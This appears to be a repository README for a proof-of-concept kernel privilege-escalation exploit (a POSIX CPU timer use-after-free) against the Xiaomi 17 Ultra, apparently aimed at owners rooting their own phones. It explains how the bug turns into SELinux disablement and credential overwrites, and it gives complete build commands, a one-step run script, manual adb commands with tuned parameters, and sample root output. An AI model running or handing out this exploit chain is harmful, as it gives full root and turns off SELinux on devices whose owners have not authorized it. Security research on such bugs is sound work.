
CVE-2026-98260: Xiaomi 17 Ultra (nezha) temporary root + KernelSU PoC - scripts, docs and logs only; exploit built from upstream source
nezha) temporary root + KernelSU PoC从一台已授权 ADB、bootloader 锁定、SELinux Enforcing 的小米 17 Ultra 出发,
利用 POSIX CPU timer 在 exec() 中的 use-after-free 拿到当前开机周期内的
uid=0 + 完整 capabilities,再用这个 root 把 KernelSU 模块 late-load 进内核,
得到 KSU 管理的 su。
This is temporary root: as soon as the phone reboots, SELinux returns to Enforcing,
sudisappears, and KSU modules are unloaded. No partition is written, and the bootloader remains locked.
This repository contains no binaries. The four device-side programs need to be built according to the "Build" section below, from source ported from upstream for the same kernel (
./build.shwill do this).
| Item | Value |
|---|---|
| Device | Xiaomi 17 Ultra, codename nezha, model 2512BPNDAC |
| System | HyperOS 4 OS4.0.5.0.XPACNXM, Android 17, user build |
| Kernel | 6.12.69-android16-6-g43b5ab7e247d-abogki561813157-4k |
| Page size | 4 KiB |
| Starting point | Authorized regular ADB shell, uid=2000, u:r:shell:s0, Enforcing |
| Result | uid=0(root), CapEff=000001ffffffffff, KSU ksu 3.3.1 available |
The 17 / 17 Pro (pudding / pandora) with the same kernel should theoretically also work, but this repository has only been verified on the device above.
YuKongA/CVE-2026-98260 targets the OnePlus PLZ110 kernel 6.12.69-android16-6-g242e1a07f878
and hardcodes do_timer_create+0x94; the actual call site in the nezha kernel is do_timer_create+0xac
(measured with ftrace), so the original version cannot even pass base calibration:
[-] base calibration failed
The source code used in this repository comes from b1gmang0/CVE-2026-98260-pandora-lpe (Xiaomi 17 Pro, same kernel build),
and has been tuned based on actual testing (see docs/tuning.md).
When a non-leader thread calls execve(), de_thread() first swaps the TID; if exec_mmap() is
interrupted by SIGKILL, the task exits before cleaning up the POSIX timer, so the k_itimer is freed but the timerqueue node remains in
the rbtree. When the parent process reaps it, rb_erase() operates on the already-freed node, forming a single controlled 8-byte write.
Each of the three stages requires one successful page reuse (turning a freed order-1 slab page back into a controllable page):
| 阶段 | 写入目标 | 结果 |
|---|---|---|
1 selinux | selinux_state - 7 写 0 | Permissive |
2 cred | 私有 cred + 8 写 0 | uid/gid = 0(此时 CapEff 仍是 0) |
3 fullcap | task->cred / task->real_cred 写 fake cred 指针 | 全量 caps、启动 rootd |
See docs/how-it-works.md for details.
Dependencies:
28.2.13676358), providing aarch64-linux-android35-clanggit (to pull upstream source code), adb./build.sh
The script will:
build/upstream/ (the UPSTREAM environment variable can override the repository address);bin/:
exploit-android-perf, exploit-android-perf-chain,
exploit-android-key-ptr, pc98260-su (compiled from pc98260_su.c).When the NDK is not in the default path:
NDK=/path/to/android-ndk-r28c ./build.sh
When you already have the upstream source code and don't want to connect to the internet, point directly to its src/:
SRC_DIR=/path/to/CVE-2026-98260-pandora-lpe/src ./build.sh
Equivalent complete manual command:
git clone --depth 1 https://github.com/b1gmang0/CVE-2026-98260-pandora-lpe.git build/upstream
cd build/upstream/src
NDK=$HOME/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/aarch64-linux-android35-clang
$CC -std=gnu11 -O2 -pthread exploit-android-perf.c -o ../../../bin/exploit-android-perf
$CC -std=gnu11 -O2 -pthread exploit-android-perf-chain.c -o ../../../bin/exploit-android-perf-chain
$CC -std=gnu11 -O2 -pthread exploit-android-key-ptr.c pc98260_rootd.c \
-o ../../../bin/exploit-android-key-ptr
$CC -std=gnu11 -O2 -pthread pc98260_su.c -o ../../../bin/pc98260-su
chmod 755 ../../../bin/*
Build artifact check:
file bin/*
# ELF 64-bit LSB pie executable, ARM aarch64, ... for Android 35
The link addresses in the source code, the
do_timer_createprobe, and the struct offsets are all hardcoded for6.12.69-android16-6-g43b5ab7e247d-abogki561813157-4k; changing the kernel or the system version requires re-deriving them, and prebuilt artifacts from other devices cannot be reused directly.
.
├── README.md
├── run.sh # 一键:重试 selinux → cred → fullcap → KSU → 验证
├── build.sh # 用 NDK 从上游源码重建(输出到 bin/)
├── device/
│ └── ksu_late_load.sh # 设备端 KernelSU late-load 脚本
├── docs/
│ ├── how-it-works.md
│ └── tuning.md
└── logs/ # 实测日志样本(含失败与 near-miss)
bin/ and build/ are build artifacts and are already ignored in .gitignore.
After compilation is complete:
./run.sh <serial> 8
(When serial is not passed, ANDROID_SERIAL or the only online device is used; if bin/ is missing, the script first calls
build.sh.) Every failed round forces a restart and cleanup:
sys.boot_completed → am kill-allexploit-android-perf --target selinux --perf 30000 → wait for getenforce to change to Permissiveexploit-android-perf-chain --target cred --perf 30000 → wait for rootd to come up and verify
uid=0 + CapEff=000001ffffffffffdevice/ksu_late_load.sh (executed as root via rootd) → poll /proc/modules until
kernelsu ... Live appearssu -c 'id' verify u:r:ksu:s0Successful output looks like:
===== ROOT OK on attempt 3
=== starting KernelSU late-load
ksu[1] kernelsu 221184 1 - Live ... | ksud 3.3.1 (uapi: 5)
uid=0(root) ... context=u:r:ksu:s0
CapEff: 000001ffffffffff
===== ALL DONE: root + KernelSU
Manual step-by-step (equivalent):
adb push bin/exploit-android-perf bin/exploit-android-perf-chain bin/exploit-android-key-ptr /data/local/tmp/
adb push bin/pc98260-su /data/local/tmp/pc98260-su
adb shell 'chmod 755 /data/local/tmp/exploit-android-perf /data/local/tmp/exploit-android-perf-chain \
/data/local/tmp/exploit-android-key-ptr /data/local/tmp/pc98260-su'
adb shell 'cd /data/local/tmp && ./exploit-android-perf --target selinux --attempts 12 \
--prefix 1 --churn 512 --pcp-prime 8192 --aio 8192 --perf 30000'
adb shell 'cd /data/local/tmp && ./exploit-android-perf-chain --target cred --attempts 12 \
--prefix 1 --churn 512 --pcp-prime 8192 --aio 8192 --perf 30000'
adb shell 'PC98260_SOCK=/data/local/tmp/pc98260-root.sock /data/local/tmp/pc98260-su -c "id; getenforce"'
adb shell su -c 'id' # uid=0(root) ... context=u:r:ksu:s0
adb shell su # 交互式 root shell
Enforcing by ksud, but su goes through u:r:ksu:s0, so usage is unaffected.me.weishu.kernelsu, 3.3.1) can grant root to other apps.run.sh already handles this accordingly.